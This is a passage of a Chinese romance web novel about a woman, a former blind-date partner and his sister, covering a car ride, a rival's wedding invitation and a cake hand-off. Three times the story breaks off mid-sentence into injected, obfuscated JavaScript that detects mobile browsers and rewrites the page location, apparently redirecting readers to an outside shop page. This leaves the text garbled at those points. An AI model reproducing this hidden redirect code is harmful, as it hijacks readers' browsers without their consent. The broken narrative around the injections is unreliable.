《相亲》 7. 车内 江回雁的询问出乎林昙的意料。 两人只见过一面,仅有的两次交流都算不上友好,关系没有好到可以送彼此回家的地步。 林昙不知道江回雁突然这么问是真心的,还是在假意客套,借捋耳边碎发的动作缓解心中的尴尬时,目光不经意地一转,看见严飞背影狼狈,脚步匆忙,走得比之前更快。 林昙顿时明白,江回雁这句话是说给严飞听的,是在提醒严飞他不仅认识严飞,也认识自己。 这就对了。 林昙客气说:“不用了,我……” “你是林昙吗?你好啊,我叫江凝波。”江江,也就是江凝波,和网上一样自来熟,打开车门,从驾驶座跳下来,欢快地打断了林昙拒绝的话。 她连跨几步上前,挽住林昙的胳膊问:“你住哪里?我送你回去吧?不用客气,我这个人最热心了!” 林昙认识江江的时候,她还是个高中生,不管是学业上还是生活上,林昙都给了她很多建议,还真不用和她客气。 她也很感谢江回雁的出手相助,可她真的不想上车。 车上两个人,一个是她相识很久的网友兼学妹,她认得对方,对方不认得她。另一个是她上一任相亲对象,两人之间有过两次主动和拒绝,一人一次,本来已经扯平,现在江回雁帮她解决严飞,她再次欠下人情。 上车,面对江回雁,她会很尴尬;面对江凝波,她有暴露的风险。 两种情况分开来,都不算很可怕,可二者叠加,在江回雁面前暴露她和江凝波的关系,等于承认在这对兄妹对她一无所知的前提下,她早已对二人了若指掌。 代入江家两兄妹的视角,林昙都觉得自己是一个拥有上帝视角、满口谎言、躲在暗处换着身份戏耍别人的骗子。 可江凝波已经下车来邀请她了,不上车,有点不礼貌和扭扭捏捏的小家子气……更重要的是,就算拒绝了对方同行的邀请,之后还是一样要答谢他们今日的出手相助,逃不过去的。 林昙顶着江凝波热情真挚的催促目光,思绪纷乱,最终在不断高升的心虚、焦急、尴尬、为难等多种情绪的碰撞下,她放弃了挣扎。 “我住在山景公园那边……”林昙和江江通过语音,次数不多,她怕被江凝波认出,说话时不自觉放轻了嗓音,“……顺路吗?” “顺路!”江凝波笑嘻嘻地开口,“十几分钟就能到!” 她牵着林昙到了车另一边,殷勤地为她打开车门,“副驾驶放了东西,你坐后面吧。” 林昙只顾着维持冷静和庆幸江凝波没认出自己的声音了,糊里糊涂就上了车,坐进去后才发现自己和江回雁中间之隔了一个真皮座椅。 林昙努力装出淡然的神情,朝着江回雁礼貌地点了点头,视线收回时,看见了中间座位上放着的一沓文件和几张检查单。 检查单应该是江回雁今日复查的结果,林昙一眼扫过,觉得有点奇怪,可具体哪里奇怪,她又说不上来。 那是别人的隐私,她不好过多窥探,于是把这事抛之脑后,专心伪装平静去了。 江凝波则充当了司机的角色。 她不知道林昙就是被她放鸽子的网友学姐,一看她的相貌和气质,就觉得会是江回雁喜欢的类型,再一听她姓林,立刻猜出林昙就是那个让江回雁自尊心受损的相亲对象了。 难得她哥对一个女孩产生好感,给两人制造机会是妹妹应该做的。 把林昙拉上车,她系好安全带,发动引擎,走出一小段路后,透过后视镜往后看,看见江回雁拿起一旁的检查单翻看起来,林昙则摆弄起手机。 两个人毫无交流。 江凝波眼珠子转了转,说道:“刚才没过红绿灯呢,我哥就看见严医生在纠缠你了。他为什么纠缠你啊?他是你男朋友吗?” 真是哪壶不开提哪壶。林昙在心底叫苦,咬了咬牙关,低声回答:“不是。发生了点儿误会。” 江凝波好奇追问:“什么误会啊?” 林昙一个头两个大,磨蹭了下,用一种很哲学的方式糊弄她:“就是本来应该周一下雨,实际上却周二下了,类似这样的误会。” 江凝波摇头,“听不懂。”她又问:“哥,你听得懂吗?” 江回雁头都没抬,声音淡淡地回答她:“周末,茶餐厅,一男一女。她化了妆,是精心打扮过的。你觉得她是来干什么的?” 江凝波恍然大悟:“哦,相亲啊!” 成年人的适可而止在这个眼神清澈的愚蠢大学生身上,并不适用,江凝波点破了林昙极力遮掩的事情。 林昙忍住暴露网友兼学姐身份让她闭嘴的冲动,深吸一口气,直截了当地回答:“是,我是来和他相亲的。” 江回雁只要说也听不懂就好,他偏偏提醒了江凝波。林昙很难怀疑他不是故意的。 话都说到这份上了,林昙只好敞亮地承认了。 反正在对她有好感的上一任相亲对象面前,承认自己是来和别人相亲的,不舒服的不会只有她一个人。 可惜她小瞧了江回雁。 江回雁笑了一声,声音很轻,像是听见了什么笑话,又像是在不屑地嗤笑。 林昙没忍住向他看去。 墨镜遮住江回雁那双总带着朦胧风情的双眼,也为他添了几分肆意与不羁的潇洒。似是感受到林昙的视线,他脸一偏,转了过来。 林昙立刻坐正了,把目光移向前方的江凝波。 与“江江”认识的这么多年,林昙没少听她吐槽家里的事,尤其是江回雁这个哥哥。 细数江凝波对江回雁的形容,从“睚眦必报、尖酸刻薄、心高气傲”等中华传统负面词汇,到“资本家、霸权主义、列强思维”等充满近代色彩的贬义用词,无一例外,都在诉说着江回雁的真实性格中强烈的攻击性。 相亲那天他进退有度的表现,都是装的,此刻看见她的窘迫,江回雁心里不知道会有多么愉快呢。 林昙对他的歉疚已经在上一次主动联系被拒后消散很多,剩余的转换成好感度,并在此时迅速降低,已经快见底了。 她权当没听见江回雁那声不知是无意中发出的声音,还是刻意的嘲讽,闭嘴不言。 她忍住攻击回去的冲动,可江回雁偏又云淡风轻地开口:“以后相亲,还是让家人朋友帮你把把关比较好。” 假如江凝波之前没有透漏过江回雁的真实性格,假如林昙不知道江回雁因为没聊五分钟就被她拒绝从而破防的事情,她一定会单纯以为江回雁是在真心地建议她,以防她之后再遇上严飞这种人。 而在她知道那些事情之后,江回雁这句话除了劝诫她之外,还有贬低严飞、质疑她的眼光,并抬高他自己的意思。 林昙终于意识到江凝波的吐槽一点都没错,她这个哥哥真的挺让人讨厌的! 这种情况下,林昙作为一个不应该知道他本性、不该知道他是在进行刻薄嘲讽的人,不知道要怎么回答了。 “我说的不对吗?”江回雁一定要得到林昙亲口承认似的,矛头直接对准了她。 林昙:“……对。” 怎么会有这么咄咄逼人的人?! 林昙忍不住了! 在掌握了那么多不该知道的信息的条件下,想让江回雁破防,对林昙来说太简单了。 她拿着手机假装在回复消息,状若无心地说道:“我也没想到他会是这样的人。其实我和他聊了一个多小时,前面都挺愉快的,可惜临走时发生了点儿矛盾。” 林昙边说边用余光注意着江回雁,果然,看见他翻看检查单的动作顿了一下。 “你俩聊了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江江的隐私保护意识不强,林昙怕在网上暴露太多现实里的事情,一直把自己的事情说的比较模糊。如今回忆,她只记得说过自己是在博物馆工作的,但具体怎么说的,她记不清楚了,也不知道江凝波脑袋里的记忆是什么样的。 就是因为不记得都和江凝波说过什么,唯恐哪一句话不对就被江凝波发现自己就是那个网友,林昙根本不敢多谈自己的事情。 经过与江家兄妹的这几次接触后,她已经彻底放弃了与江凝波变成现实好友的想法。 她一定不能被认出来。 “对,我在博物馆工作……”林昙的工作不是秘密,就算她不说,江凝波也能从江回雁那里知道。她很紧张,试图在不被江回雁听出来的情况下混淆自己的职业,语速很慢,“工作内容比较繁琐,偶尔也会帮忙整理文件……” “你很紧张?”江回雁冷不丁地转过脸问了一句。 林昙吓了一跳,本能地眨了好几下眼。 这个异常的小动作很明显被江回雁发现了,他顿了顿,忽然摘下了一直戴着的墨镜,露出了那双春情泛滥的眼睛,并向着林昙的方向倾了倾身。 不知道是不是角度的问题,林昙感觉他眼尾上挑了一下,带有满满的不怀好意的感觉。 她抓紧膝上的包包,抿了下口水,说:“是。” “紧张什么啊?我们就是聊聊天啊。”江凝波天真地表示不理解。 “我控制不住。”林昙在江回雁虎视眈眈的注视下做了个深呼吸,接着满脸认真地回答,“我小时候坐亲戚家的车,他一边和后座的人讲话,一边开车,最后出了车祸。从那以后,我每次坐别人的车,只要开车的人说话,我就会很紧张。” 江凝波:“……” 江回雁:“……” 一番似假还真的话,让江凝波将信将疑。她从后视镜里看去,见后排的两人一个满脸无语,一个就像她说的那样,紧张地抓着前排靠椅。 江凝波的嘴巴张了张,最终在林昙如临大敌的目光下默默闭了起来,安分地当起司机。 8. 请帖 到了爸妈住的小区,林昙下车,道谢后,和江家兄妹分开。 万幸,自从她说出那句带有死亡阴影的话后,十五分钟的车程中,再没人说话了。可见不管是对上次相亲事件耿耿于怀的江回雁,还是毫无眼力见的江凝波,都十分惜命。 这是个好习惯。 假如以后还会不幸地与江回雁私下里相处,林昙觉得她可以尝试用“从前有个人话很多,后来他死了”来封住江回雁的嘴。 到家,陈明姗正在追剧,一见林昙,立刻问起相亲的事。 林昙的回答直击重点:“他说他喜欢你买的唇膏的味道,很想尝一口。” 陈明姗:“?” 陈明姗女士酷爱小说,念书的时候在课堂上偷看,工作后在单位摸鱼看,上至中外古典文学著作,下至花市甜宠火葬场,均有涉猎,什么互撩的手段和土味情话,都相当了解。 一听这话,当即爆发:“我日他祖宗!” 她立刻去给苏阿姨打电话质问,被林昙拦住了。 林昙见过苏阿姨,很热心,不认为苏阿姨是故意介绍这个侄子给她的,更可能的是,连苏阿姨都不知道严飞内里是那样的。 “哲阳三年级的时候偷偷给女同学写情书,你是他姑姑,不也不知道吗?” “哲阳三年级就给同学写情书了?!”陈明姗大吃一惊,“你舅舅知道吗?” 林昙:“……我是从哲阳的朋友圈里看到的,不知道舅舅知不知道。” “我怎么没看到?” 陈明姗下一秒就明白自己是被屏蔽了。 给陈家舅舅发了条关心外甥教育的消息,陈明姗转过来继续追问林昙相亲细节时,对苏阿姨的怨念已经消了很多,可心里还是有气。 口头便宜不犯法,她不能把别人怎么样,勒令林昙不许再和严飞有来往,然后去厨房剁饺子馅去了。“咚咚咚”,简直把饺子馅当成严飞在剁了。 林昙瞧她气得厉害,想说有人帮她吓唬了严飞,再一想,说实话就得提到江回雁,会让陈明姗记起周表姨……还是算了。 至于删好友的事情,茶点钱转过去后,严飞就被删掉了,轮到江回雁的时候,林昙迟疑了。 今天的事,对江回雁来说是顺手帮的一个小忙,不值一提,可再怎么说,也是帮了她的。 不仅不能删,还得答谢他。 . 江凝波目视前方观察着路况,到达极其通畅、车辆很少的安全地段后,才从林昙的车祸故事里走出来。 “哥,她就是上回和你相亲的那个吧?长得漂亮,说话也温柔,看着就好欺负,难怪会被严医生纠缠。”——也难怪你会因为被她拒绝而耿耿于怀,真的很符合你对伴侣的要求。 后面一句被江凝波藏在肚子里,没有说出来。 江回雁不理会她。 江凝波又说:“她看着脾气很好,以后不会和我有姑嫂矛盾,我挺喜欢她的。哥,要不要我帮你追?我可是感情大师!我室友的感情问题,都是我帮着解决的!” 还是没人理。 江凝波从后视镜扫了一眼,催问:“哥?” “认真做司机。”江回雁理她了,声音冰冷,“我这条腿是因为你断的,再让我出了车祸,你打算用什么赔?” “……哦。”江凝波看出他心情很差了,再次乖乖闭嘴。 江凝波的妈妈是医生,很忙,没时间带女儿,江凝波从小就跟着江老先生。江回雁有自己的住处,是在小腿骨折后才搬回临江宅院的。 到家六点半,车子进院,正好一辆车子驶出,双方在错身时一起停下。 隔着降下的车窗口,江凝波看见了对面车里的年轻人,乖乖喊人:“尚哥。” 对面车里的人叫袁尚,和江回雁差不多年纪。两家长辈是多年好友,到这一代,关系大不如前,但也没什么矛盾,逢年过节总会走动一下。 袁尚先看见的江凝波,笑着说:“这是周末回家来了?没少吵你爷爷清净吧?” 江凝波年纪小,江回雁等人读高中的时候她是小学生,别人工作了,她还在读大学,不管什么时候,她在江回雁、袁尚等人眼里都是个小朋友,谁都能调侃一下。 江凝波厚着脸皮笑了下,问:“不再坐会儿吗?” “不了,我就是来送请帖的。你哥没回……”袁尚说了一半,看见对面后车窗降下,露出了江回雁面无表情的脸。 他声音一顿,脊背不自知地挺直了一些,略微拘谨地问:“回雁也在?你的腿好些了吗?” 江回雁回得很敷衍:“还行。” 袁尚看了看他的脸色,没再问,也没了与江凝波打趣的松弛感,表面的客套过后,说道:“我是来送请帖的。下月十七号我结婚,有空的话,一定要来参加。” “结婚!”江凝波惊讶呼喊,“这么快?!” 袁尚神态一松,眼底浮出几分甜蜜,“也不算快,我和她……哈哈,等你长大你就懂了。” 他的话没说完整,但江凝波知道他是什么意思,扭头看江回雁。 三个月前,江回雁曾经相过一次亲,女方和他接触了半个多月后,毅然决然地找分手已经两年多的前男友复合去了。 袁尚就是这个前男友。 袁尚和女方恋爱是几年前在国外的事情,本来三方人都不知道彼此的关系的,怪就怪在那天江凝波在袁尚朋友圈里看见了两人的照片,多嘴问了一句…… 江回雁依然一副不甚在意的模样,不冷不淡地点头:“恭喜。” 江凝波又随着他的话音扭头去看袁尚。 在他们这一辈里面,江回雁是佼佼者,袁尚次之,在长辈们的推波助澜和男人好胜本性的作怪下,两人之间一直存在着若隐若现的竞争。 这么多年的角逐下来,不管是哪方面,袁尚始终差江回雁那么一点。 直到袁尚的前女友——现在是未婚妻了——出现,让袁尚狠狠扳回了一局。 在得知未婚妻曾经和江回雁相过亲这事时,袁尚就在朋友圈里疯狂发了三天他和未婚妻的合照,还特意换成情侣头像,明摆着是好不容易胜了江回雁一次,在使劲炫耀。 今天来送喜帖的事情,看着像是他重视和江家的情谊才亲自来送的,可江凝波总觉得自己嗅到了火药的味道。 “谢谢……咳!回雁,你会来参加的吧?”袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107632|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚眼神闪躲,话说得飞快,“可以带你女朋友一起来,大家都想见见哈哈哈……” 江凝波:“……” 果然是来者不善! 她像个摆钟一样,再次摆向江回雁。 可惜相识二十多年,袁尚头一次当着江回雁的面耍威风,底气不太足,挑衅的话放完,不等江回雁回答气势就萎靡了下来,赶紧接着说道:“……那就这样说好了……我赶时间,回见。” 说完,袁尚升起车窗、发动引擎,一气呵成地驶出好远。 点燃硝烟的人跑了,江凝波还在,她瞅了瞅江回雁的脸色,悄悄吐了吐舌头,把车开进车库。 她知道江回雁心情不好,不去招惹他,可江老先生不知道。 瞧见兄妹俩回来,老先生扬着请帖,没好气地说:“瞧瞧人家,认识一个月就要结婚了。你呢?认识一个月,人家跟前男友结婚了!” ——老先生还不知道袁尚就是那个前男友,以为人家小情侣认识一个月就闪婚。 提起来就生气,他这个孙子从小就很优秀,独立、有主见、目标清晰,一直同龄人中的翘楚,毕业后接管公司,也做的风生水起。 不像陈家的孙子,纵情酒色,桃色新闻不断。也不像李家的,差点把父辈的产业拖垮。一群朋友里,就老袁家的还有点出息,可惜能力稍有不足,在江回雁面前一直抬不起头。 每次老朋友相聚,没人不羡慕江老先生有个好孙子。 直到小辈们一个接一个地步入婚姻的殿堂,而江回雁一次又一次地相亲被拒。 ……一次又一次! 江老先生都没脸见朋友了! 江回雁接过请帖,翻看了一下,面不改色地说道:“不好吗?哪天破产了,我还能开婚介所东山再起。” 江老先生的脸皮抖了抖,嘴巴张开又合上,最后憋出一句:“不要脸!” 江凝波在爷爷和大哥之间来回瞅,偷笑的动作太明显,被江回雁看见了。他斜了一眼过去,冷冷开口:“笑什么?你以为家里会因为谁破产?” 江凝波的笑脸凝固。 江回雁父母是搞艺术的,全球到处飘,而她妈妈忙得都没空回家,家里的产业到最后得他兄妹俩继承。 江回雁接手的这几年,公司蒸蒸日上,从来不需要江老先生操心。 大哥不会出错,那家里破产,只能是她搞出来的了。 江凝波牺牲自己转移了火力,为江老先生争取出了思考的时间。江老先生指着江回雁,大声道:“把你这张嘴捐了,明天你就能找到女朋友!” “我没异议,只不过明天我不准备出门,能接触到的异性只有凝波和邹阿姨。”江回雁接住老先生的话,不紧不慢地反问,“爷爷您看好她俩谁和我谈恋爱?” 一个是妹妹,一个是儿子今年才高考完的家里的保姆。 江老先生又是一哽,接不上话了。 “我不行!”江凝波不敢在这时候招惹江回雁,做惊恐状后退,正好退到端着水果出来的邹阿姨旁边,转身插起一块水果塞进嘴里,丢下一句“你选邹阿姨吧!”,然后头也不回地往楼上跑去。 邹阿姨:“?” 9. 约见 偶遇林昙,帮她解围,送她回家都是举手之劳,对江回雁来说无足轻重,在他眼中,真正有意义的是林昙面对江凝波询问时窘迫的遮掩,和后来她亲口认同的她眼光不好。 虽然这么说很没风度,但江回雁必须承认,他因此而愉悦。 直到林昙说她和严飞聊了一个多小时。 掐头去尾按一个小时算,也是五分钟的十二倍。也就是说在林昙眼中,他连严飞的十二分之一都不如。 据他所知,这位严医生的人品和私生活可都不怎么干净。 输给严飞让江回雁的心情变差,一路上没再怎么理会林昙,但这事的本质是林昙眼光太差,而不是他有问题,对他的影响倒也不算特别大。 可接下来又碰见了袁尚。 江回雁在与同辈和同龄人的比较之中,从来没输过,包括异性缘。 他相貌出众,从小到大,被无数人搭过讪。曾经江回雁为此感到厌烦,并在看见周围人一次次分手、复合、纠缠不休时抱以无聊且鄙夷的态度。 这种状况一直持续到周围人逐渐步入婚姻,而他依旧屡屡被人搭讪,但始终保持着单身状态。 江回雁不由得回忆过去、探究原因,这一反思,恍惚发现这么多年来他的异性缘的确不错,但从来都不长久。 不长久的原因,毫无疑问是他的性格太讨人厌了。 再之后,便是九次失败的相亲。 总而言之,这是一场滑铁卢般的惨败。凄惨到被江回雁碾压了二十多年的袁尚有了未婚妻做助力,都敢当着他的面叫嚣了。 “可以带你女朋友一起来,大家都想见见……”这分明是笃定他找不到女朋友。 是在对他下战书。 …… “……回回相亲被拒,要不以后不相了?就说你哥不打算结婚了,就是你们年轻人流行的那个,叫独身主义是吗?” 江回雁从书房出来,转着轮椅回房时,耳尖一动,听见了江老先生的声音。 “不找对象了?”江凝波的声音传来。 “不找了。”江老先生说,“不结婚,就不用担心被拒绝了。这理由好,听着感觉人一心事业、有主见、有能力……” “啊?”江凝波被爷爷的说话惊诧到,过了几秒,欣喜地表示赞同,“可以啊,万一以后找到对象结婚,可以说缘分来了挡不住……” 江回雁眼皮子狠狠跳了一下,黑着脸返回房间,刚把那祖孙俩荒谬的对话驱逐出脑海,又被床头放着的三颗转运珠折射出来的光芒闪了眼。 他又一次记起林昙。 在她眼中,自己连严飞那种货色都不如? 江回雁盯着那三颗转运珠,脑中一会儿是林昙对他敬而远之的态度,一会儿是袁尚的挑衅。 看了半晌,他拿出手机发出两条消息: 【你的转运珠找到了。】 【明天给你送过去。】 . 睡前看了眼手机,林昙失眠了。 她回来后就定了个蛋糕准备用来答谢江家兄妹的出手相助,按她的计划,等明天问清地址、让师傅把蛋糕送过去,她就能再一次和这两人做割断了。 可江回雁为什么突然要把转运珠还给她? 他应该明白这东西只是一个借口。 【明天给你送过去。】——江回雁甚至要和她见面。 ……想追她? 林昙自认长得不错,可也不至于见了两面就足以让一个事业有成的大男人抛弃自尊心、对她死缠烂打。 贪图钱财?也不对,江回雁比她有钱。 不然就是回来路上被她气到了,一定要把她追到手再狠狠甩掉,以报复她对他男人自尊心的伤害?这个想法把林昙自己都弄笑了。 都不对,难道还能是江回雁刚刚发现她遗失的转运珠,单纯地想把东西归还给她? 难道一直以来,江回雁只是真挚、直率地回答她表面上的问题,之前那些委婉的试探和拒绝,全是她的一厢情愿,而不是她以为的两个成年人之间稳重、体面的迂回交锋? 照这么说,江回雁其实是个纯真无暇大男孩? 林昙起了一身鸡皮疙瘩。 不管江回雁是出于什么目的和她联系,好不容易斩断两人的姻缘,打消了周表姨撮合他俩的念头,林昙不想再与他产生任何关系。 何况中间还夹着一个江凝波……两人聊天记录里,江回雁因为被她拒绝而破防的对话,还保存着呢,被江回雁发现了,还了得? 男人的自尊心比冰晶还要脆弱,林昙可不想再一次背上莫名其妙的罪过,与那兄妹俩在现实中保持距离才是上策。 她准备借口临时有事不在家,让江回雁把东西邮寄给她,或者寄存在保安那里。 为了防止江回雁另约时间,她没回消息。反正时间已经很晚了,可以假装睡着了。 这事解决,林昙想闭眼睡觉,可困意早在看见江回雁消息的一刹那就消失得无影无踪。 弄不清江回雁的目的,她睡不着。给陶莘发消息商讨,对面没回。辗转了会儿,林昙去找了江凝波。 总总:【在干嘛?】 “打游戏!等我再拿一个人头!”江江发来亢奋的语音,背景音是噼里啪啦的键盘声。 等江凝波终于回消息问林昙有什么事,时间已经是十二点多了,林昙忍不住吐槽:【你打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他是变态!” 林昙:“……” 他是你哥! 江江:“学姐你千万要小心了,对方说不定是入了传销或者非法贩卖人体器官的组织,冲着你的心肝脾肺肾来的……” 林昙听不下去了,终止语音,打字:【没事了,你就当是你在做梦。睡了,晚安。】 退出对话框,把手机放到一边,她决定先睡觉。 反正不管江回雁这么做的目的是什么,都不会比江凝波的猜测更离谱。 10. 早餐 林昙一觉醒来,手机上多了好几条消息,全是江凝波发来的,内容大多是让她提防诈骗的,为了增加可信度,还举了个例子:她的一个朋友去相亲,对方看着光鲜明亮,还是外科医生呢,实际私生活混乱,相亲的时候一言不合,竟然对女方动手。 “你说的这个朋友不会是我吧?”如果不是怕暴露身份,林昙很想这么回她。 一方面,她对江凝波谨慎的提防诈骗的态度给予高度赞扬,另一方面怀疑她只是嘴上说的好听,实际上根本做不到。毕竟她和“林昙”才见了一次面,就成了朋友? 看起来真的很好骗。 江凝波连发好几条消息,真正有用的只有一条:“明天我帮你问问我哥吧,他是男人,一定更懂男人的心理。” 林昙发了消息过去,没得到回复,看了眼时间才发现江凝波是夜里两点半回复她的,背景音依然是噼里啪啦的键盘声。 不用想了,这会儿一定还在睡觉。 她打开与江回雁的对话框,犹豫了会儿,决定等“奸细”打探完消息再回复。 九点半,江凝波那边还是没动静,林昙等不住了,整理好措辞给江回雁回了消息:【不好意思,才看见。不用特意跑一趟,寄过来就行。】 半分钟后,手机响了。 “容我提醒一句,对只见过两面的不熟悉男性暴露家庭地址,不安全。”江回雁说道。 可以放在保安那里。——林昙想这么回,感觉不太礼貌,稍一迟疑,换了个回复:“和不熟悉的男性见面,好像……也不太安全?” 江回雁:“你们小区没有保安?还是你打算和我约在什么偏僻的地方?” 让保安把你拦在外面,你就知道有没有了! 林昙后悔不及,对江回雁礼貌个什么啊?她该先江回雁一步提保安堵住他的嘴的。 这边正为错失先机而扼腕,那边江回雁又说:“在路上了,到昨天送你下车的地方,没问题吧?” 已经在路上,来不及拒绝了。 林昙怕被爸妈撞见,赶紧回他:“我正好出门有事,我发个地址,你到那里等我吧。” 在林昙定位地址的空档,江回雁又问:“吃过早餐了吗?” 林昙心里有事,七点就起床了,早就吃过了。她当江回雁是在做无聊的寒暄,注意力都放在定位上,随口回答:“吃过了。” “那你起床挺早的。” “习惯了。”说话的时间里,定位已经发出,林昙争分夺秒地结束通话,“地址发过去了,待会儿见。” 她不想被爸妈知道自己和江回雁还有联系,谎称要去找陶莘,换了身简洁的衣服就出门去了。 约定的地址是和小区隔了两条街的一个蛋糕店,昨天林昙在这里定了个蛋糕,打算送给江回雁作为答谢。 江回雁在严飞的事情上帮了她的忙,不算很大的忙,送贵重的礼物会让两人谢来谢去不断产生联系,太廉价的拿不出手,这家好吃又贵的蛋糕,最合适不过了。 除此之外,还因为江凝波喜欢吃蛋糕。 至于江回雁喜欢不喜欢,不重要。 反正兄妹俩感情好,报答谁都一样,他一定不会介意的。 蛋糕装好,林昙坐在店里一边和陶莘聊天,一边等江回雁,大约十分钟后,手机收到了新的消息:【到了。】 推门出去,路边有一辆不认得标识的车在打闪光灯。 林昙已经做好了心理准备,要说的话也提前想了一遍,并让陶莘帮她看过,确保这次之后,两人能够彻底没了关系。 自信满满地走了一半,手机响起Q/Q消息提示。 林昙在这个软件上还有联系的,只有江江一人。 虽然这个“内奸”多数时候都不太靠谱,但为了更稳妥一点,林昙还是决定先看一眼她说了什么。 江凝波发来的是文字消息:【昨晚上我熬夜熬迷糊了,睡了一觉才想起来,你那个问题不需要问我哥,他的答案没有参考性。】 江江:【我哥要是突然找借口联系以前的相亲对象,肯定是被发小结婚的消息刺激到,好胜心发作了。】 总总:【?】 江凝波好像正好在玩手机,立刻回了消息:【昨天我哥的发小挑衅他,让我哥带女朋友去参加他下个月的婚礼。我哥气疯了,在家里无差别攻击,连爷爷都没放过!】 林昙:……懂了,所谓的帮忙是想让她当一把工具人。 一切都说的通了。 古人说知己知彼,百战百胜,林昙已经做到了这句话的前半截,后一半也相距不远了。 她收起手机,走到车旁,看见驾驶座是一个没见过的大叔。 林昙向着他客气点了点头,转向后座的江回雁时,扬起标准的、礼貌又疏远的只露八颗牙齿的微笑。 刚要开口,被江回雁抢了先,“收到消息就出来了?” 准备好的话被打断,不过这只是寻常的客套话,不会对林昙产生影响。 她点头,“嗯”了一声,说:“正好在看手机。” “是吗。”江回雁皱了皱眉,“现在的人都沉迷手机,我以为你不 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林昙对这句话给予了绝对的否定,但她否定错了,这句话的重点不是后一半,而是前一半。 江回雁的消息是昨晚十二点左右来的,为了等“内奸”的消息,林昙拖到今天九点半才回,被江回雁绕着圈子套出来她是故意不回消息的了,人家这是在兴师问罪! 原来那不是她的错觉,江回雁真的是冷眼看着猎物往下跳,这个猎物就是她。 “快近视了?”看见她终于醒悟过来了,江回雁眉稍一挑,恶意逼问,“怎么不继续说了?” 林昙:“……” 都从江凝波那里知道江回雁受了刺激正处于应激期,她竟然还没有任何防备,就这么轻易掉进了陷阱里! 正懊恼和尴尬,“叮咚——”,手机里传出一道提示音。 林昙如蒙大赦,遮遮掩掩去拿手机:“我、我回个消息先。” 消息来自江凝波,内容是:【学姐,你人咧?你不会真被骗了吧!】 林昙眼睛里看见的是这没营养的消息,正前方顶着的是江回雁不追究到底誓不罢休的尖锐目光,心底则在狠狠吐槽:怎么会有这么睚眦必报的男人! 亏她昨天晚上辗转反侧,一度怀疑江回雁是个纯真无暇的大男孩…… 林昙快速瞟了江回雁一眼,确定从他的角度看不见自己的手机屏幕后,哐哐打字:【不要叫我学姐,叫我纯真无暇大女孩!】 11. 格言 冲着江凝波发泄了一句之后,林昙心中无地自容的窘迫情绪消散了一点。 她收起手机后,若无其事地道:“说到哪里了?哦,对,我快近视了……没办法,现在的人都离不开手机,除非!”林昙加重语气,生硬地在后面补了一句:“除非是有事耽误了,没来得及看手机。” 江回雁微微眯了一下眼睛,看着她因为尴尬变得绯红的脸,说道:“不错,例如上回你半夜发消息问我有没有捡到你的转运珠,我就是因为晚上要睡觉,才在第二天早上七点钟回的消息。” “七点钟”,这三个字的音调很重。 林昙:“……哈哈。” 如果江凝波猜的没错,江回雁找她是想让她陪他去参加发小的婚礼。 找人帮忙就这个态度?难怪他找不到女伴。 林昙干笑两声,手动斩断这个话题——她把蛋糕向着车窗口递了过去,挡住那双企图用眼神给她的良心施压的眼睛,说道:“辛苦你了,请你和你妹妹吃蛋糕。” “我不喜……” 江回雁才出声,林昙假装拿不稳,把蛋糕往前怼了一下。 江回雁及时后仰保住鼻梁,不得已把蛋糕接过来放在了一边,然后瞥了林昙一眼,大发慈悲地放过她这一回,转而道:“上车。” 林昙不仅要拒绝,还要拒绝得很自然。她故作轻松道:“上不熟悉男性的车,也不安全吧?” 江回雁:“?” 昨天……不对,昨天林昙上的那辆车准确来说是江凝波的,不是他的。 被人用自己的话怼回来的江回雁看着面前一副乖乖女模样的林昙,深刻认识到这个看似温柔的女孩,实际上远没有她外表那么柔和无害。 江回雁想找的是能够无限容忍他的女孩,而非三句话里两句夹枪带棍的。 他又看了眼林昙,发现林昙微微歪着身子,正隔着车窗窥探他的表情,那双眼睛里藏着粼粼水波,就像古典诗词歌赋里所说的秋水横波一样。 江回雁很喜欢林昙的外在气质。 他闭了下眼,一边劝慰自己外在不重要,性格温柔的女孩也有很多,没必要再与林昙纠缠;一边缓和着情绪,把前几次相亲的情形、严飞、袁尚等人一一回忆,并记起爷爷殷切的叮咛:“管好你那张破嘴!” 会不会是因为自己性格实在太差,她才这么对自己? 江回雁忍不住自我怀疑。 这么一想,他睁眼,放缓语气:“有事请你帮忙,上车说。” 林昙早从江凝波那里得知了这事,眼看对话回到自己预想的轨道上,她拿出提前编造的借口,用惊讶和抱歉的语气说道:“你有事要我帮忙?什么事?什么时候啊?这两个月我得帮老师参加几场研讨会,可能没有时间。” “研讨会?” “嗯。”林昙煞有其事地说道,“我老师跟着考古队实地挖掘去了,这半年来的峰会、研讨会、论坛、都是我替他去的。” 江回雁不信。 两人认识不过半个月,林昙对他的态度从来都是避之不及,光是拒绝他的次数,大大小小加一起,就足有五六次了。 距离袁尚的婚期只有一个月了,江回雁见不得别人在他眼前嘚瑟,但也没有找人假扮女朋友去参加袁尚婚礼的想法。 他又不是输不起。 江回雁的本意是在这一个月的时间里与林昙再接触一下,或许能让林昙改变对他的看法。 所谓的“有事请你帮忙”则是一个借口,可以是请林昙帮着为江凝波挑选生日礼物,也可以是让她帮忙挑选一本书,根本用不了多少时间。 林昙不问具体事宜就拒绝、一心要和江回雁分道扬镳的反应,激起了他的逆反心理。 现在,他有了别的主意。 